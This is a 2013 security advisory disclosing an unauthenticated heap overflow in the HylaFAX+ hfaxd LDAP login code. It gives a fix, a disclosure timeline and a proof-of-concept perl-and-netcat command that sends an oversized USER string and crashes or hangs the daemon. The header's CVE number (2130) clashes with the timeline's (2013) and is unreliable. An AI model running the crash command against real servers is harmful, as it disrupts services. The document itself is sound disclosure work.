Details =========================================================== Application: "HylaFAX+" Version: 5.2.4 (April, 2008) through 5.5.3 (August 6, 2013) Type: Daemon that manages a fax server via an FTP-like protocol. Vendor / Maintainer: Lee Howard (faxguy _at_ howardsilvan.com) Project Homepage: http://hylafax.sourceforge.net/ Vulnerability: CWE-120: Classic buffer overflow from unchecked network traffic, resulting in heap corruption. Vulnerability Discoverer: Dennis Jenkins (dennis.jenkins.75 _at_ gmail.com) CVE reference: CVE-2130-5680, 2013-09-03 Solution Status: Fixed by vendor. Description =========================================================== "HylaFAX™ is an enterprise-class open-source system for sending and receiving facsimiles as well as for sending alpha-numeric pages." Vulnerability =========================================================== HylaFAX+ contains a daemon, "hfaxd", that allows a "fax client" to communicate with the fax server to submit fax jobs, query status, configure modems, etc... The underlying wire protocol is a super-set of classic FTP. "hfaxd" can be compiled with support for authenticating users via LDAP, although usually, one just configured hfaxd to use PAM. The code path for authenticating users via LDAP allocates a 255-byte buffer (via the C++ "new" operator), and then "strcats" user-supplied data buffered from the inbound FTP control channel. Other code limits the amount of copied data to 506 bytes, and truncates on NULL and "\n". Thus it is possible for an UNAUTHENTICATED remote attacker to overflow the heap with a limited character set. At a minimum, this can crash or hang a hfaxd forked client. At this time, we have not attempted to construct an actual exploit that leverages this security bug. “hfaxd” typically runs as the “uucp” user, and forks on each new connection. The heap overflow occurs in a forked child. Typically, the child will simply hang. We theorize (but have not tested) that an attacker could consume system resources by abusing the heap overflow. Although this has not been confirmed, the possibility that an attacker may be able to execute arbitrary code in the "hfaxd" context can not be ruled out. It should be noted that the principle author of HylaFAX+, Lee Howard, did not write the LDAP code - it was supplied by a third party. After I discovered the bug, Lee and I worked together to fix it, exchanging code patches, performing peer-review and testing. All use of "strcat" was replaced with "snprintf". For the vulnerability to be exposed, one must first compile HylaFAX+with LDAP support, and then configure LDAP in "hfaxd.conf". Simply compiling with LDAP support alone is insufficient to produce a vulnerable system. Lee and I suspect that the number of HylaFAX+ installations with LDAP support configured are extremely low, if not zero. This vulnerability does not exist in other versions of HylaFAX. HylaFAX+ was forked from code at hylafax.org in 2005, 3 years before the problematic LDAP code was added to HylaFAX+ Solution =========================================================== 1) Update to HylaFAX+ v5.5.4 (http://hylafax.sourceforge.net/news/5.5.4.php) or later. -OR- 2) Disable LDAP authentication (edit hfaxd.conf) Proof-of-concept =========================================================== 1) Enable LDAP authentication on the hfaxd server. Note, a valid LDAP server need not exist. Simply setting the “LDAPServerURI:” directive in “/usr/local/lib/fax/hfaxd.conf” is sufficient. # grep "^LDAPServerURI" /usr/local/lib/fax/hfaxd.conf LDAPServerURI: ldap://127.0.0.1:389 2) Start (or restart) the hfaxd process. Run inside valgrind to see the heap overwrite get caught. # valgrind ./hfaxd/hfaxd -c /usr/local/lib/fax/hfaxd.conf -l 192.168.2.33 -q /var/spool/fax -i hylafax -d 3) Run this script from a client system. NOTE: If testing on the same server as the host, don’t connect to “localhost” / 127.0.0.1. This will not invoke LDAP (not sure why): # # Test authentication without buffer overflow: # perl -le 'print "USER ".("x"x10)."12345\nPASS test-ldap\nQUIT\n\n" ' | nc -q 5:5 192.168.2.33 4559 (seen on client) nc: using stream socket 220 localhost server (HylaFAX (tm) Version 5.5.4) ready. 331 Password required for xxxxxxxxxx12345. 530 Bind LDAP error -1: Can't contact LDAP server 530 Login incorrect. 4) Test again, but increase the amount of data in the “USER” command to overwrite the heap: # perl -le 'print "USER ".("x"x500)."12345\nPASS test-ldap\nQUIT\n\n" ' | nc -q 5:5 192.168.2.33 4559 (client) 220 localhost server (HylaFAX (tm) Version 5.5.4) ready. 331 Password required for xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx12345. (connection hangs until ‘nc’ times out) (server) Valgrind on the server will spew lots of diagnostics, ending with this: --15348-- VALGRIND INTERNAL ERROR: Valgrind received a signal 11 (SIGSEGV) - exiting --15348-- si_code=80; Faulting address: 0x0; sp: 0x402f3adf0 valgrind: the 'impossible' happened: Killed by fatal signal ==15348== at 0x38062496: vgPlain_arena_malloc (m_mallocfree.c:291) ==15348== by 0x380294E4: vgMemCheck_new_block (mc_malloc_wrappers.c:263) ==15348== by 0x3802967A: vgMemCheck_malloc (mc_malloc_wrappers.c:301) ==15348== by 0x3809CEED: vgPlain_scheduler (scheduler.c:1665) ==15348== by 0x380AC5A5: run_a_thread_NORETURN (syswrap-linux.c:103) Timeline =========================================================== 2013-07-22 - Vulnerability discovered 2013-07-22 - Project maintainer contacted 2013-07-23 - Reply from maintainer received; maintainer attempted to contact original code author. 2013-07-27 - Project maintainer reports "No reply from original author of vulnerable code section." 2013-07-27 - Project maintainer shares a proposed patch. 2013-07-28 - Discussions with maintainer on my desire to submit a patch set to completely refactor entire section of code. 2013-07-30 - Patchset submitted to maintainer (via private email) 2013-07-30 - Project maintainer requests publication delay until at least August 15, to allow time for Fedora to uptake new RPMs. 2013-07-31 - Project maintainer accepts patch set to refactor relevant code. 2013-08-07 - Project maintainer completes preliminary testing, coordinates release of RPMs for Fedora. 2013-08-22 - Fedora pushing new RPMs. 2013-09-03 - Filed for CVE with MITRE. Granted: "CVE-2013-5680". 2013-09-30 - Composed this notice, shared draft with project maintainer for feedback. 2013-09-30 - Public notice to "bugtraq".